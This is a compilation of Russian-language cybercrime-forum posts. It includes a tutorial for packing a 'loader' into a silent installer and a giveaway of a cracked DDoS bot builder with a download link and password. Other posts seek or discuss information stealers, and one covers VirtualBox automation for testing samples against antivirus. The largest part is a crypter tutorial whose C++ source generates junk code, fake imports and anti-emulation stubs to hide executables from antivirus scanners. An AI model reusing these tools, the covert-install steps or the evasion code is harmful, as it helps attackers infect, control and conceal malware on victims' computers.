![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2F05CkA-11L1pPMawIvCmaTIuqr3TdvMuNxkcFgaQYnnFRFB1OszTVsQ5U7PRUyNItAH0ZMv-X4wQxtdmDPm12s1wNOx_hmEXMzscOhHkylzXjHt1keUPxv0DEh6yHOXS31aPnCsiQ&hash=48d6951d00c247c8594edb77fa89fe6c)

1. Переходим в “Диалоги”.
2. Ставим галочку “Скрытая установка”
3. Переходим в — “Команды”.


![](/proxy.php?image=https%3A%2F%2Flh4.googleusercontent.com%2F9bidMbEfSFltCxB5IkNv5K886hI5zDSKsHK4C_eD4IDAtEpstZ25V0qa8scl4KSLhWRRDZS90SX9Q-9dRgjzZomQZe2S4NRWbz77HBIRzhqwEpXa-
FKKyXHqzkT4PKFYbVRgpCSV&hash=5a7ce7441ba4ea49e51ab20b9ab858dd)

Жмём “Добавить”, откроется новое окно.
![](/proxy.php?image=https%3A%2F%2Flh6.googleusercontent.com%2FrzfFTasEdhR2iWKQO52Fh5HDEuuPcazcCGIHlHTTgQ_053nJD2c2DjN1wPCLDW8jmG6BCMe1zaWRXqrTe7Cft8IjBdiGHLmP1dAIGAcZnmqpb0PsBJgZEu05CuoUlWjsKpya6DaT&hash=653003b5452ecb28cd1e9f69f6235e72)

Справа от поля “Команда” под стрелочкой с номером “1” нажимаем на кнопку, в
открывшемся списке файлов выбираем “лоадер” и жмём “ОК”.

Для поля “Когда выполнять” выбираем “После распаковки”. Жмём “ОК”.
![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FUBdmeQsLSW1H_OBh7Se1i04l-qtzodUC8SEtj6zSm0PBRiGui2PuuluAMaM9YFW-
DwoDTRewXrs7qZS2k6ye-
UySPoZNgpRjj5y1flKz6etRNjHlvZIKu85NnNNhLMXoklpaCRrD&hash=1c213575719e9c5d7f4a4879c0536414)

Готово. Во кладке “Проект” нажимаем “Компилировать”.
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2F04XxUDxjhRCqUS3Z88ty6RWoEiWKYWewmfNirDAyODcG7RK1IpBiYvIrWZovR_4iUNfgUWMIpCV1_Ga3U2XoIfmEBWu0Lp6DlnmXeZR-
vVl4zsxeMGltPFnZdEYf8Mfrk47h5w4h&hash=c3e9652a474474f271f964b8389f88c0)

Проверим “Инсталлер”. Если вначале вы не меняли путь, то “Setup.exe” будет
лежать в “Документах.

Перед проверкой “Инсталлера” удаляем “оптимизатор ПК” любым удобным способом —
через “uninstall.exe” или “Установку и удаление программ”. Он больше не
понадобится.

Запускаем “Setup”.
![](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2FVhFezLol5h3d-7SSaOy80Tjt4fp-T8mkTWxIhheobSbty8da-
emlzPKIalXYi-
Omazn8H6coUiXLLCOMxuLl_Vt0O15jwCVpWbEP2bBUOSY6C1AuwPbKZvHFcA4glOG7Hq9LgyZ6&hash=d141943ad7a0c9430d2a073809443dca)

Мы сделали установку скрытой, процесс вы не увидите но в “Program Files”
появится новая папка.
![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FHaaIG3Dh5RrwFXYLW044CqsE8dL1zz90eE6xn2PXkoNTLlke6Pd65XgFB42G2QX-
ZvNIOziVsBwRp8USkp-kZ4T922qXcC4w7Pms-BRq1kZDEdFKT1inLlcKK3zWglK-
GlBjbwwt&hash=f31112bab2b7b20cce86a1990a04f8f6)
![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FKc8prT_RN3Rexm8NlkG7PBA-
PdI-Jmt09jI2UN-Hod0AXs8pDpp-aWvSCtX7L3IlKej96Gmx6mZ-
RO_q5P3SvjDOygmqurpd1IqOhNTbP55UPghJPXhyxTRYh6lUK5ePeNrzYID-&hash=883304fcafe926e58206d7473bb4eb61)
Если установилось — все сделано правильно. Дальше для работы нам понадобится
этот “Setup.exe”.

Illusion DDos bot

Author: Winux • 2006-08-30T23:35:39+0000 • Replies: 115 • Views: 42K
**Illusion Ddos bot 1.1**
![](/proxy.php?image=http%3A%2F%2Fnews.xss.is%2Fillusionlogo.gif&hash=ef430c006f5c8f43f6da519af5205484)
Наконец то появилась такая возможность, сам illusion ddos bot, который еще
вчера продавался за 400 баков.
Думаю данный продукт в представлении не нуждается, бывший приватный софт
впервые появляется на ДЛ в паблик версии.
Все ридми и список функций в архиве.
В архиве: хелп, ридми, крякнутый билдер, некрякнутый билдер (во вложеном
архиве), пустой сервер бота. Наслаждаемся.
![:screenshot:](/styles/default/xenforo/smilies/emojione/screenshot.gif)
[Скриншот|Screenshot](http://news.xss.is/illusion.gif)

Spoiler: 3 у вас 43

![:zns3:](/styles/default/xenforo/smilies/emojione/pencil.png) Пароль:
xss.is/_file_3482364348237

Закачка далее>>[New$paN]
![:zns5:](/styles/default/xenforo/smilies/emojione/software.png)
[Скачать|Download](http://xss.is/dl/virus/illusion_bot.rar)

**Чтоб не вызывало вопросов у защитников авторских прав:**


> Winux (03:14:48 31/08/2006)
> можно я у ся кину?
>
> KЕZ (03:15:00 31/08/2006)
> что?
>
> Winux (03:15:06 31/08/2006)
> иллюжн
>
> Winux (03:15:12 31/08/2006)
> ну в пабл?
>
> KЕZ (03:15:31 31/08/2006)
> да пожалуйста
>
> Click to expand...

Техническое обсуждение стилера BlackGuard

Author: c0d3r_0f_shr0d13ng3r • 2022-05-10T16:26:55+0000 • Replies: 476 • Views: 39K
Оставлю это тут, такого треша никогда не видел.Скоро кряк сделают.
И ответь мне, автор, какого это, продавать софт с костылями и критической
уязвимостью за 700$?


### [ .NET - BlackGuard Stealer анализ, слив панели, анпак ](https://lamp-
ret.club/r/blackguard-stealer-analiz-sliv-paneli-anpak.116/)

Анализируя данный продукт, я вспомнил все - и лолз со стилаками по 500р, и
великий xakfor, и дроп рабочих файлов стилака, ладно, не буду спойлерить
поехали Анпак: Тут все просто, на софте дефолт бейс строки, но с методом в
каждом классе...

![lamp-ret.club](/proxy.php?image=https%3A%2F%2Flamp-
ret.club%2Ffavicon.ico&hash=2d838bb88a4245d27baf30736ea9c892&return_error=1)
lamp-ret.club

Посоветуйте стиллер.

Author: complete • 2022-08-19T17:41:28+0000 • Replies: 142 • Views: 38K
**Посоветуйте стилер у кого опыт , трафа достаточно нужен стабильный софт**

Динамический анализ файлов VirtualBox+Python

Author: Pernat1y • 2019-11-16T17:50:44+0000 • Replies: 84 • Views: 37K
Шаг нулевой. Идея.
В один прекрасный момент у меня назрела необходимость в организации
тестирования софта. Автоматизации ради и был запилен данный скрипт на Питоне.
Disclaimer. Полностью готового решения для организации своего сервиса, типа
dyncheck, в статье **не будет**. Также просьба учесть, что скрипт находится в
ранней стадии разработки и в нём ~~могут быть~~ есть баги.


Шаг первый. Выбираем софт для виртуализации.
Тут вариантов не очень много: VMware Workstation Pro либо Oracle VirtualBox.

Выбор пал на VirtualBox, ибо:
\- Бесплатную версию можно использовать в коммерческих целях
\- Умеет снапшоты (бесплатный VMWare Workstation Player - нет)
\- Во многих линуксах ставится/обновляется через пакетный менеджер
\- Значительно удобнее управляется через консоль


Шаг второй. Выбираем способ автоматизации.
Управлять зоопарком будем при помощи Python. Причин для выбора языка было
несколько:
1\. Он довольно простой
![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
2\. Хорошая переносимость - скрипт будет работает и на Windows и на Linux.

Управлять VirtualBox’ом можно несколькими способами:

* VirtualBox SDK (есть биндинги под несколько языков, в том числе и Python)
* VirtualBox COM Interface
* VBoxManage (консольная утилита)

Я выбрал последний, опять-же, из-за универсальности - результат можно
запускать на чистом Питоне без дополнительных модулей, плюс совместимость со
всеми поддерживаемыми ОС.


Шаг третий. Подготовка хоста.
Тип ОС на хосте значения не имеет. Работать будет как на Windows, так и на
Linux (подойдёт и консоль без графики).
Потенциально должно работать и на OS X - проверить нет возможности.


1. Ставим основной софт
* VirtualBox. Крайне желательно использовать последнюю версию и своевременно её обновлять.
* Python 3.7 или более новый.
2. Устанавливаем гостевую(-ые) ОС. Рассказывать как это делать я не буду - туториалов в интернете предостаточно.
* Я поставил две Windows 10. Одна - x86, вторая - amd64 ([скачать без регистрации и СМС](https://www.microsoft.com/software-download/windows10)).
* Активируем ОС (Опционально).
3. Настраиваем гостевую ОС
* Ставим гостевые дополнения VirtualBox Guest Additions. Они обязательны для манипуляций с гостевой ОС.
* Создаём пользователей.
* Выключаем обновления.
* Ставим нескучные обои.
* Ставим дополнительный софт для анализа (Wireshark, софт Sysinternals, .net framework, Java, MS Office, etc).
4. Делаем снапшот ОС (можно выключенной).
* Если планируется запускать несколько задач параллельно, то клонируем/устанавливаем ВМ нужное количество раз.
* Ставим антивирусы, на которых будем проверять наш зоопарк. Последовательность простая:
Ставим АВ -> Делаем снапшот (например, 'av1') -> откатываемся на чистый
снапшот. Повторяем действие для каждого АВ.
ВАЖНО. Снапшоты в данном шаге нужно делать в онлайне, иначе при запуске ВМ
нужно будет ждать загрузки ОС (что значительно дольше, чем восстановление
"живого" снапшота).

В результате получается как-то так:
![](/proxy.php?image=http%3A%2F%2Fi.piccy.info%2Fi9%2F3dcfe67b625c461725902e66e84b647f%2F1578565695%2F16689%2F1356240%2Fvirtualbox_snapshots.png&hash=4edf327bda224bd9ff055c8c8306332b)


Использование скрипта
Все параметры передаются скрипту через командную строку.
Обязательные параметры:

* **file** \- путь к файлу для анализа
* **\--vms w10_x64 w10_x86** \- список ВМ
* **\--snapshots av1 av2 av3** \- список снапшотов

Пример:

Code:Copy to clipboard



python demo.py \
putty.exe \
--vms w10_x64 w10_x86 \
--snapshots all


Дополнительные параметры:

* **\--vboxmanage vboxmanage** \- путь к исполныемому файлу vboxmanage.
* **\--timeout 60** \- таймаут для анализа файла, секунд.
* **\--info 1** \- показывать/скрывать информацию о файле (sha256 и ссылки на VirusTotal/Google). Значения: 1, 0.
* **\--ui gui** \- запускать ВМ с графикой или без. Значения: 'gui', 'headless'.
* **\--login user** \- логин для гостевой ОС.
* **\--password 12345678** \- пароль для гостевой ОС.
* **\--remote_folder desktop** \- директория, куда класть файл. Значения: 'desktop', 'downloads', 'documents', 'temp'.
* **\--network keep** \- управление сетью на гостевой ОС. Значения: 'on', 'off', 'keep'.
* **\--resolution '1920 1080 32'** \- зазрешение экрана. Может быть 'random' для выбора случайного разрешения из популярных, либо 'Ширина Высота Битность'.
* **\--pre 'C:\start.cmd'** \- скрипт/программа, которая будет запущена до основного файла.
* **\--post 'C:\stop.cmd'** \- скрипт/программа, которая будет запущена после основного файла (перед завершением анализа).

Пример:

Code:Copy to clipboard



python demo.py \
putty.exe \
--vms w10_x64 w10_x86 \
--snapshots sn1 sn2 sn3 \
--vboxmanage vboxmanage \
--timeout 60 \
--info 1 \
--ui gui \
--login user \
--password 12345678 \
--remote_folder desktop \
--network keep \
--resolution '1920 1080 32' \
--pre 'C:\start.cmd' \
--post 'C:\stop.cmd'


Функции из скрипта можно вызывать напрямую в своих скриптах. Например:

Python:Copy to clipboard



import vm_functions as vm
vm.vm_start('w10_x64')



Демо
Под Windows с многопоточностью:


Под Linux с антивирусами:



# TODO

* Добавить возможность установить колличество потоков (одновременно запущенных ВМ).
* Из очевидного - привинтить парсинг результатов выполнения файла. Вариантов несколько - OCR ("парсим" скриншоты), разбор логов АВ или журнала ОС (если наш авер туда пишет).
* Добавить простой веб интерфейс.
* Оптимизация и багфиксы.


[Исходники на гитхаб](https://github.com/Pernat1y/vm-automation/)

Криптор исполняемых файлов. Эволюция.

Author: Octavian • 2020-06-28T20:05:53+0000 • Replies: 128 • Views: 35K
**Криптор - как много смысла заложено в этом понятии и как по-разному его
понимают**
![:cool:](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7).

Некоторые из нас застали времена первых попыток комьюнити подгрузить бинарные
файлы в память с целью обхода сигнатурных детектов.
Сначала с помощью RunPE (через заморозку вновь созданного процесса и подмену
контекста), позже разбирали один из первых pe загрузик от Great'а
![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7).
Кто-то наверняка помнит обсуждение этих вопросов в ветках на WASM, damagelab -
эх романтика
![;\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)

Некоторым, более опытным мемберам статья будет полезной, т.к. познакомит с
современными технологиями в области крипта и обфускации исполняемых файлов,
углубит специализированные знания в этой области, позволит применить некоторые
освещенные в статье техники в своих проектах.
Для мемберов с меньшим опытом, статья и код могут стать отличным подспорьем
для изучения технологий обхода антивирусов и генерации кода и основанием для
реализации своего проекта.


> Считаю, что фулстак проекты (проекты, в которых есть полноценная
> инфраструктура и команда, участники которой заняты конкретными поставленными
> задачами), должны иметь свой криптор, поддерживать его, использовать server
> side морфинг, например по api.
>
> Click to expand...


Сегодня я хотел бы рассказать вам о современных технологиях крипта исполняемых
файлов, механизмах обнаружения со стороны анивирусов, о методах их обхода, о
генерации кода и т.д.
Подкреплять слова буду кодом реального проекта, примерами и описанием
происходящих внутри процессов при крипте.

В контексте статьи под понятием криптор понимается стек технологий и
процессов, призванных скрыть бинарный файл (exe, dll) в среде Windows от
антивирусных детектов и неопытных глаз ресерчеров.
В контексте статьи я не будут рассматриваться технологии Runpe, Process
doppelganging - этого добра полно на гитхабе и на форумах уже достаточно.
В статье я расскажу о способах и предназначении генерации больших массивов
файлов (сори крипт сервисы, если это был ваш приват
![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)).
Не будет рассматриваться тип олдскульных пакеров\протекторов\крипотров,
которые шифруют кодовую секцию целиком, добавляют декриптор в новую секцию и
где-то в коде передают управление на декриптор, расшифровывают секцию кода,
получая в памяти оригинальный файл.
Не будет дотнет крипторов, AutoIt, nsis и им подобных, сори
![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7).

**Начнем с простого:**
Общая логика криптора, в самом простом виде заключается в шифровании
оригинального файла, помещении его внутрь "стаба", подготовке функций и ключей
расшифровки, формированию стаба.
Общая логика стаба заключается в поиске внутри себя сигнатуры буфера
зашифрованного файла, его расшифровке, выделении памяти, настройке образа в
памяти и передаче управления коду оригинального файла.
Под стабом понимается конечный исполняемый файл-контейнер, содержащий в себе
криптованный файл, при запуске извлекающий его в памяти и запускающий из
памяти.

**Углубляемся:**
_Тут всё как всегда - вечная война меча и щита:_

Антивирусы используют технологии основанные на написании эвристических правил
(эвристические и метасигнаурные движки), которые позволяют ставить generic
(общие) сигнатуры на целые семейства крипторов.
* Создатели крипторов используют генерацию\добавление мусорного (не влияющего на ход исполнения общего алгоритма) кода.
Антивирусы используют технологии основанные на эмуляции кода внутри
виртуальных сред (по сути пропускают через свой механизм эмуляции код стаба,
наблюдая за действиями и формирую представление о действии кода) - по факту
современные эмуляторы способны раскрутить практически любой код, расшифровав
оригинальный скрываемый файл и обнаружить его.
* Создатели крипторов используют различные трюки призванные остановить\запутать антивирусный эмулятор и тем самым не дать ему понять реальные действия кода\расшифровать оригинальный файл.
Антивирусы используют технологии основанные на степени похожести криптованных
файлов на файлы легитимных приложений (например наличие ресурсов: иконки, её
расширения, адекватной версии инфо, манифеста и других) - по факту
разветвление эвристических систем.
* Создатели крипторов используют различные технолгии кражи ресурсов с легитимных приложений и добавлении их в стабы\генерации правдоподобных ресурсов в целях запутывания анитивирусных эвристиков.
Антивирусы используют облачные технологии, основанные на репутации файлов и
частоте их использования среди клиентов.
* Создатели крипторов прогоняют криптованные семплы на пачке подконтрольных виртуальных машин с установленными антивирусами, тем самым повышая репутацию файла.
и т.д. и т.п.
![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)

Для усложнения детекта криптованных файлов со стороны антивирусов,
разработчики крипторов постоянно придумывают различные технолгии, призванные
затруднить обнаружение криптованных файлов или увеличить время между
обнаружением и добавлением сигнатур в базы.

**Доказавшими свою эффективность являются например следующие технологии:**
* Генерация реалистичного исполняемого, но не изменяющего логику алгоритма кода - такой код бывает разным по степени сложности реализации и эффективности во время исполнения, а так же реалистичности (подобности коду реальных приложений) и реагирования на него со стороны антивирусов.
* Использование антиэмуляционных трюков - способы антиэмуляции совершенствуются параллельно алгоритмам эмуляции и увеличению средних вычислительных мощностей пользовательских ПК.
* Использование технологий основанных на нарушении статистических признаков в целях припятствию алгоритмическому обнаружению - самый простой пример это изменение энтропии зашифрованного буфера файла, с целью выровнять его и привести к среднему значению, подобному легитимным приложениям.

**Углубляемся глубже:**
Вершиной мастерства в крипте является**генерация такого мусорного исполнимого
кода, который неотличим от кода легитимных приложений** , получившимся в
результате компиляции на популярных компиляторах и сам по себе являлся бы
крайне сложным для эмуляции (либо существенно затрудняющим эмуляцию,
ограниченную по ресурсам и времени), с таким алгоритмом шифрования, ключ к
которому вычисляется
за определенный заранее известный криптору промежуток времени, выходящего за
таймаут антивирусного эмулятора и следовательно препятствующий получению
оригинального загифрованного файла.

* [Почитать о рассуждениях мемберов по этому вопросу можно в этой статье.](http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/34637/)
* [Почитать о замыкании генерируемого кода на антиэмулятор можно в этом топике.](http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/23817/)


**Тезисы, о том, каким я вижу хороший крипт:**

* Итоговый **криптованный файл должен быть неотличим от легитимного приложения** как на уровне статистики - энтропия, соотношение секций, код на точке входа, так и на уровне адекватности сгенерированного кода и даже ресурсов.
* Хороший крипт **должен быть максимально "плавающим"**, т.е. два криптованных файла должны максимально отличаться, как на уровне кода, ключей шифрования, сгенерированному коду, ресурсам, чтобы антивирусам было максимально сложно поставить generic детект, не создав фолзов (false positive - ложных срабатываний).
* Хороший криптор **должен уметь завязывать все процессы генерации всех элементов на seed** (зерно инициализации генератора случайных чисел - prng - pseudo random numbers generenation).
* Хороший криптор **должен уметь криптовать как EXE так и DLL, причем x86\x64.**
* **Декриптор в хорошем крипторе должен генерироваться случайным образом и разбавляться мусорным кодом, чтобы было максимально сложно повесить сигнатуру**.
* Хранение **шифрованного буфера в хорошем крипторе должно быть вариабельным** , не стандартным, **криптор должен уметь раскладывать буфер по секциям (.text, .data, .rdata) в случайных пропорциях** , возможно иногда класть часть буфера в ресурсы или оверлей, регулировать энтропию блоков.
* **Таблица импорта в криптованном файле должна быть адекватной, похожей на таблицу импорта легитимного приложения** по количеству\вероятности встречаемости модулей\WINAPI функций.
* **Параметры должны быть конфигурируемыми** \- это нужно для того, чтобы генерировать не один криптованный файл, а массивы файлов (сотни и тысячи).

_Смысл генерации массивов файлов заключается в том, что разовая генерация
криптованного файла скорее всего будет детектиться как ёлка многими
антивирусами с сильными эвристиками (BitDefener и производные, ESET, Avira и
т.д.).
Запоминая seed при генерации массивов файлов мы можем позже вернуться к
удачным генерациям и использовать их в рекриптах разных файлов.
Получившийся массив файлов прогоняем на антивирусах и просеиваем на детекты -
в результате получим список "чистых" сидов. Процесс легко автоматизируется._

**И так что мы будем делать** :
Мы создадим криптор на С++, который умеет генерировать стабы, (по факту это
файлы исходного кода на языке си), в которые мы сложим буфер шифрованного
файла, ключи расшифровки, фейковый импорт, ресурсы, сгенерированный мусорный
код, код декриптора, шеллкод запуска.
Далее мы **будем передавать такие файлы в компилятор Visual Studio, на выходе
будем получать криптованные файлы.**

Чтобы фундаментально управлять генерацией кода и знать что у нас возвращает
каждая сгенерированная функция, переменная, нам нужно по сути эмулировать
генерируемый код самим. (_Это крутая задумка, можно применить в разных сферах,
обязательно используйте её в своих проектах_).
_Подробнее смотрите файлы mCodeEmulator.cpp и mCodeExpression.cpp._
По факту он занимается тем, что генерирует текстовый вариант кода и тут же
исполняет фактический машинный код, получая на выходе результат исполнения.
Это позволяет в коде использовать такие фишки как непрозрачные предикаты,
устанавливать зависимости потока управления от результата исполнения кода.
Антивирусы не смогут просто свернуть код, например циклы, т.к. в результате
этого они не получат какие-то значения переменных, от результата которых будет
зависеть дальнейшее исполнение программы.

**Пример эмуляции int8_int32** :

C:Copy to clipboard



void EM_CALLING emulate_int8_int32(PINT8 left, CODE_EXPRESSION_OPERATORS Operator, PINT32 right)
{
switch( Operator )
{
case CEO_SUB: *left -= *right; break;
case CEO_ADD: *left += *right; break;
case CEO_MUL: *left *= (*right); break;
case CEO_DIV: *left /= (*right); break;
case CEO_MOD: *left %= (*right); break;
case CEO_XOR: *left ^= *right; break;
case CEO_OR: *left |= *right; break;
case CEO_AND: *left &= *right; break;
case CEO_SAL: *left <<= *right; break;
case CEO_SAR: *left >>= *right; break;
case CEO_EQUAL: *left = *right; break;
}
}



Пример сравнения переменных в эмуляторе:

C:Copy to clipboard



int mCodeExpressionEmulator::compare(PVOID left, MVAR_TYPE right_type, PVOID right)
{
switch( right_type )
{
case MVT_UINT8:
case MVT_UINT16:
case MVT_PUINT8:
case MVT_PUINT16:
case MVT_PINT8:
case MVT_PINT16:
case MVT_PINT32:
case MVT_INT8:
case MVT_INT16:
case MVT_INT32:
if( *(PINT32)left==*(PINT32)right )
return 0;

if( *(PINT32)left > *(PINT32)right )
return 1;
return -1;

case MVT_PUINT32:
case MVT_UINT32:
if( *(PUINT32)left==*(PUINT32)right )
return 0;

if( *(PUINT32)left > *(PUINT32)right )
return 1;
return -1;

case MVT_PINT64:
case MVT_INT64:
if( *(PINT64)left==*(PINT64)right )
return 0;

if( *(PINT64)left > *(PINT64)right )
return 1;
return -1;

case MVT_PUINT64:
case MVT_UINT64:
if( *(PUINT64)left==*(PUINT64)right )
return 0;

if( *(PUINT64)left > *(PUINT64)right )
return 1;
return -1;
}
}



Сам код эмуляции можно увидеть в процедурах emulate, emulate_begin,
emulate_end.

**Начнем пожалуй в код самого криптора, передаем в криптор параметры входного,
выходного файлов, а также конфиг и seed:**

C:Copy to clipboard



void _tmain(int argc, PTCHAR argv[])
{
if( argc < 3 )
{
_tprintf(_T("Usage: %s <in_file> <out_file> [<seed>] [<config_file>]"), basename(argv[0]));
return;
}

int arg_i = 0;
PWCHAR arg_in = 0, arg_out = 0, arg_seed = 0, arg_config = 0;
PWCHAR arg_out_seed = 0;

//==========================================================
// parse commandline
//==========================================================
for (arg_i = 0; arg_i<argc; arg_i++)
{
if (wcscmp(argv[arg_i], L"-in") == 0) arg_in = argv[arg_i + 1];
if (wcscmp(argv[arg_i], L"-out") == 0) arg_out = argv[arg_i + 1];
if (wcscmp(argv[arg_i], L"-cfg") == 0) arg_config = argv[arg_i + 1];
if (wcscmp(argv[arg_i], L"-seed") == 0) arg_seed = argv[arg_i + 1];
};

printf("\n IN : %S", arg_in);
printf("\n OUT: %S", arg_out);
printf("\n CFG: %S", arg_config);
printf("\n DNA: %S", arg_seed);
printf("\n input seed: 0x%I64X \n", genSeed);

if (arg_seed)
{
swscanf(arg_seed, L"0x%I64X", &genSeed);
random.set_seed(genSeed);
}

origSeed = random.get_seed();

StringReplace(arg_out, L".exe", L"");
int n = wcslen(arg_out);
swprintf(&arg_out[n], L"_0x000%I64X.exe", origSeed);
printf("\n OUT: %S \n", arg_out);



**Проверяем пути, выводим полученные аргументы в консоль.**
_Если seed не указан (это нужно в случае точного воспроизведения прошлой
генерации), в код стаба будет вписан случайный seed, например: Build seed:
0x0009922543757DD0.
Удаляем прошлую итерацию выходного файла (если есть)._

C:Copy to clipboard



// check absolute path, if no convert
if( arg_out && arg_out[1]!=_T(':') )
{
PTCHAR path = (PTCHAR)halloc(MAX_PATH*sizeof(TCHAR));

DWORD length = GetCurrentDirectory(MAX_PATH, path);
if( arg_out[0]!=_T('/') && arg_out[0]!=_T('\\') )
{
lstrcat(path,_T("\\"));
}

lstrcat(path, arg_out);

arg_out = path;
}


_tprintf(_T("Input: %s\n"), arg_in);
_tprintf(_T("Output: %s\n"), arg_out);

if( arg_config )
_tprintf(_T("Config: %s\n"), arg_config);

_tprintf(_T("Seed: 0x%0.8X%0.8X\n"), (DWORD)(random.get_seed() >> 32), (DWORD)random.get_seed());

DeleteFile(arg_out);



**Читаем буфер входного файла (который нужно криптовать) в переменную idata.**
_Проверяем базовые признаки PE фалйа:
DOS заголовок, DOS сигнатуру, NT заголовок, NT сигнатуру.
* Если вы совсем незнакомы с форматом PE файлов, то гуглите ![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)_


C:Copy to clipboard



PMBUF idata = file_get_contents(arg_in);
if( !idata )
{
#ifdef _DEBUG
// __debugbreak();
#endif
_tprintf(_T("Error: Can not load %s file!"),arg_in);
return;
}

PIMAGE_DOS_HEADER orig_dos = (PIMAGE_DOS_HEADER)file2image(idata->data);
if( orig_dos->e_magic!=IMAGE_DOS_SIGNATURE )
{
_tprintf(_T("Error: file not have dos signature!\r\n"));
return ;
}

PIMAGE_NT_HEADERS orig_nt = (PIMAGE_NT_HEADERS)((DWORD_PTR)orig_dos + orig_dos->e_lfanew);
if( orig_nt->Signature!=IMAGE_NT_SIGNATURE )
{
_tprintf(_T("Error: file not have nt signature!\r\n"));
return ;
}



**Если получили на вход файла конфига, то читаем его.**
_Если нет, используем настройки по-умолчанию._

C:Copy to clipboard



mConfigLoader cfg_loader(&config, orig_dos);

if( arg_config )
{
if( !cfg_loader.load_from_file(arg_config) )
{
_tprintf(_T("Error: config load error. %s\n"), cfg_loader.get_error());
#ifdef _DEBUG
__debugbreak();
#endif
return;
}
}else{
cfg_loader.load_default();
}



**Устанавливаем конфигурации для генерации фейк импорта:**
_Настраиваем вероятности генерации ANSI и Unicode winApi._

C:Copy to clipboard



import.load_config();

if( random.get_less(0,1) )
{
import.set_procs_type(IPT_A);
}else{
import.set_procs_type(IPT_W);
}



**Настраиваем параметры генерации кода:**
_Максимальные и минимальные значения блоков сгенерированного кода:_

C:Copy to clipboard



max_build_procs = random.get_less(config.code.block_call.count.min, config.code.block_call.count.max);



**Настраиваем окружение для генерации стаба:**
_Создаем глобальные переменные, создаем пути для генерации и сохранения
файлов, пример:_

C:Copy to clipboard



INT16 glob0 = 0x006D;
UINT16 glob1;
UINT16 glob2 = 0x0D6C;
INT8 glob3 = 0x2E;
INT32 glob4;
UINT8 glob5 = 0x78;
PINT8 glob6;
UINT32 glob7 = 0x00007D5B;
PINT32 glob8;
UINT8 glob9;
UINT32 glob10 = 0x0000906F;
UINT64 glob11 = 0x00701486C7505836;
INT16 glob12;
UINT8 glob13 = 0xDF;
INT8 glob14 = 0x0B;
UINT16 glob15;
INT8 glob16 = 0x01;
UINT16 glob17 = 0x0BAF;
INT16 glob18 = 0x04BB;



**Передаем PID процесса и случайное имя.**

C:Copy to clipboard



mVars globals(VARS_TYPE_GLOBALS, NULL);
mPathBuilder path_builder(pid, rand_name);

// create uniq tmp folder in tmp/ for build, all cpp, bat, rc, res will be in it
if( !path_builder.create_tmp_folder() )
return;


**Создаем параметры для компилятора, передаем путь до сгенерированной рабочей
директории, буфер криптоуемого файла:**
_Создаем параметры генерации ресурсы для файла.
Создаем параметры генерации кода.
Создаем параметры генерации функций, передаем ранее сгенерированные глобалные
переменные. _

C:Copy to clipboard



mCompiler compiler(&path_builder, idata->data);
mResourceBuilder resource(&path_builder);
mCode stub(0xFFFF);

mFunction ep(&globals);



**Настраиваем параметры стаба:**
_Проверям в заголовках файл DLL или EXE.
Настраиваем точку входа DllMain или WinMain.
Предусматриваем вариант генерации без CRT рантайм кода.
Предусматриваем вариант генерации под ANSI и Unicode._

C:Copy to clipboard



if( orig_nt->FileHeader.Characteristics & IMAGE_FILE_DLL )
{
ep.set_return(MVT_BOOL);
ep.set_convention(FC_STDCALL);

if( config.not_use_crt_stub )
{
ep.set_name("NostubDllMain");
compiler.set_entry_point("NostubDllMain");
}else{
ep.set_name("DllMain");
}

ep.add_formal(MVT_HINSTANCE, "hInstance" , MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
ep.add_formal(MVT_UINT32, "Reason", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
ep.add_formal(MVT_UINT32, "Reserved", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
}else{
ep.set_return(MVT_INT32);
ep.set_convention(FC_STDCALL);

if( config.not_use_crt_stub )
{
ep.set_name("NostubWinMain");
compiler.set_entry_point("NostubWinMain");
}else{
if( import.get_procs_type()==IPT_A )
{
ep.set_name("WinMain");
}else{
ep.set_name("wWinMain");
}

ep.add_formal(MVT_HINSTANCE,"hInstance" , MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
ep.add_formal(MVT_HINSTANCE,"hPrevInstance", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);

if( import.get_procs_type()==IPT_A )
{
ep.add_formal(MVT_PCHAR, "cmdLine", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
}else{
ep.add_formal(MVT_PWCHAR, "cmdLine", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
}

ep.add_formal(MVT_INT32, "cmdCount", MVF_INITIALIZED | MVF_UNKNOWN_VALUE, NULL);
}
}



**Формируем генератор кода.**
_Формируем инициализатор генерации payload - по факту это алгоритм деления
целого буфера на т.н. чунки (chunk), которые будут храниться внутри файла в
разном случайном порядке (например части в секциях data, rdata, text, rsrc).
Настройка патчера (о его предназначении позже)._

C:Copy to clipboard



mCode gen_code(0xFFFF);
mPayloadChunks payload;
mOutputPatcher patcher(arg_out);



**Настраиваем генерацию кода на точке входа, размер генерации блока мусорного
кода.**
